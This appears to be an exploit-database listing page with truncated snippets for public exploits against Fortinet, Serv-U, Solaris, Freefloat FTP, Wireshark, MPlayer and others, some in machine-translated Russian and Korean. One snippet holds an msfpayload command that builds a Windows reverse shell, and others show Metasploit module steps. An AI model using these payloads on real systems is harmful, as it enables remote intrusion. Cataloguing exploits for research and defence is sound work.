CVE-2022-42475

CVE-2022-42475 Предыстория Это эксплойт для статьи в блоге: https://bishopfox.com/blog/exploit-cve-2022-42475 Урезанная версия Эта версия эксплойта не будет работать без того, чтобы вы, хакер, предоставили необходимые адреса памяти для ROP-гаджетов и т.д. Работа по определению этих данных являетс...

CVE-2021-35211

Serv-U CVE-2021-35211 익스플로잇 DoS 가능성 - 행동 규칙 확인 익스플로잇이 매번 작동하는 것은 아니지만, 대략 56번 실행 중 한 번은 셸코드가 실행될 정도로 충분히 작동합니다. 그러나 실패한 익스플로잇이 Serv-U 서버를 크래시시키는 경우도 있습니다. 행동 규칙에 서비스 손실 또는 성능 저하 위험이 허용되는지 확인하십시오. 테스트 중 확인된 증상: 크래시 후 자동 재시작 가장 일반적 성공 및 실패 시도 중 연결된 사용자 연결 끊김 자동 재시작 실패와 함께 크래시 Caveat emptor. 빠른 시작 버...

CVE-2025-38248_EXP

CVE-2025-38248EXP Первый эксплойт для CVE-2025-38248 Эксплойт имеет два способа использования: ROP и dataonly. Заинтересовавшиеся мастера могут изучить...

exploit-starcraft-rop-virtualalloc-EUD

В этом репозитории нет README...

CVE-2020-14871-Exploit

Эксплойт CVE 2020-14871 для Solaris Это базовый эксплойт на основе ROP для CVE 2020-14871. CVE 2020-14871 — уязвимость в системах Sun Solaris. Сама уязвимость представляет собой классическое переполнение буфера на основе стека в функции parseusername модуля PAM. Доступ к ней можно получить, измен...

Freefloat FTP Server 1.0 - 'SITE ZONE' Command Buffer Overflow

Vulnerability background An ftp server seems to be very small,the feeling should be not many people use this to open the ftp service, but there is a vulnerability, and zoomeye be able to search to a lot of equipment to use the service,and the analysis very simple. Vulnerability details Treatment...

ICONICS WebHMI ActiveX Stack Overflow

No description provided by source. , , . .' '. ', . , '. , ., , / / / \ \ ==/ /\ \ / / \ / \ / / | \ \ Y Y \ / /| / \ /||| / / /.-. / /:wq x.0 '=.|w|.=' ='=. presents.. ICONICS WebHMI ActiveX Stack Overflow Vendor Link: http://www.iconics.com/ PDF:...

Easy File Management Web Server 5.3 - UserID Remote Buffer Overflow (ROP)

Easy File Management Web Server 5.3 - UserID Remote Buffer Overflow ROP !/usr/bin/python Exploit Title: Easy File Management Web Server v5.3 - USERID Remote Buffer Overflow ROP Version: 5.3 Date: 2014-05-31 Author: Julien Ahrens @MrTuxracer Homepage: http://www.rcesecurity.com Software Link:...

Freefloat FTP Server 1.0 - DEP Bypass with ROP

!usr/bin/python Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP Exploit Author: negux POC: http://www.exploit-db.com/exploits/24479/ Tested on : Windows XP SP 3 Spanish import socket,struct msfpayload windows/shellreversetcp LHOST=192.168.1.117 LPORT=443 R | msfencode -a x86 -b...

Midori Browser 0.3.2 Denial Of Service

Title: Midori Browser 0.3.2 Denial Of Service Object++ Exploit + Date: 9:44:14am 27 s3pt 2012 + Author: Ryuzaki Lawlet + 3mail: [email protected] + Blog: http://justryuz.blogspot.com + Platform: nix + OS: Ubuntu 11.10 +Information: the vulnerability is silently patched for Firefox below 4.0 and...

MPlayer Lite 33064 Buffer Overflow

!/usr/bin/perl +Exploit Title: MPlayer Lite r33064 m3u Buffer Overflow ExploitDEP BYPASS +Date: 24\07\2011 +Author: C4SS!0 and h1ch4m +Software Link: http://sourceforge.net/projects/mplayer-ww/files/MPlayerRelease/Revision%2033064/mplayerliter33064.7z/download +Version: Lite 33064 +Tested On:...

Magix Musik Maker 16 - '.mmm' Local Stack Buffer Overflow (Metasploit)

$Id: magixmusikmaker16mmm.rb 12688 2011-05-22 23:41:15Z swtornio $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

Security-Assessment.com Advisory: ICONICS WebHMI ActiveX Stack Overflow

, , . .' '. ', . , '. , ., , / / / ==/ / / / / / / | Y Y / /| / /||| / / /.-. / /:wq x.0 '=.|w|.=' ='"=. presents.. ICONICS WebHMI ActiveX Stack Overflow Vendor Link: http://www.iconics.com/ PDF: http://www.security-assessment.com/files/documents/advisory/ICONICSWebHMI.pdf +-----------+...

ICONICS WebHMI Active-X Stack Overflow

, , . .' '. ', . , '. , ., , / / / \ \ ==/ /\ \ / / \ / \ / / | \ \ Y Y \ / /| / \ /||| / / /.-. / /:wq x.0 '=.|w|.=' ='"=. presents.. ICONICS WebHMI ActiveX Stack Overflow Vendor Link: http://www.iconics.com/ PDF:...

ICONICS WebHMI ActiveX Stack Overflow

Exploit for windows platform in category remote exploits , , . .' '. ', . , '. , ., , / / / \ \ ==/ /\ \ / / \ / \ / / | \ \ Y Y \ / /| / \ /||| / / /.-. / /:wq x.0 '=.|w|.=' ='"=. presents.. ICONICS WebHMI ActiveX Stack Overflow Vendor Link: http://www.iconics.com/ PDF:...

MJM Core Player 2011 .s3m Stack Buffer Overflow

This module exploits a stack buffer overflow in MJM Core Player 2011 When opening a malicious s3m file in this application, a stack buffer overflow can be triggered, resulting in arbitrary code execution. This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7. Module Options msf use...

Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow

Exploit for windows platform in category remote exploits $Id: wiresharkpacketdect.rb 12364 2011-04-19 07:53:58Z sinn3r $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more informatio...

Wireshark 1.4.1 1.4.4 - Local Overflow (SEH)

Wireshark 1.4.1 1.4.4 - Local Overflow SEH !/usr/bin/env python Vulnerable app: Wireshark 1.4.1-1.4.4 Author: sickness Download : OS: Tested it on Windows XP SP2 and SP3 but it should work on every Windows with DEP off still working on a ROP exploit DATE : 17.04.2011 Fixed in latest version 1.4.5...

Wireshark packet-dect.c Stack Buffer Overflow

This module exploits a stack buffer overflow in Wireshark use exploit/windows/misc/wireshark/packetdect msf undefinedpacketdect show actions ...actions... msf undefinedpacketdect set ACTION msf undefinedpacketdect show options ...show and set options... msf undefinedpacketdect run This module...

Wireshark 1.4.4 SEH Overflow

!/usr/bin/env python Vulnerable app: Wireshark 1.4.1-1.4.4 Author: sickness Download : OS: Tested it on Windows XP SP2 and SP3 but it should work on every Windows with DEP off still working on a ROP exploit DATE : 17.04.2011 Fixed in latest version 1.4.5 DO NOT FORGET TO FEEL THE PWNSAUCE WITH:...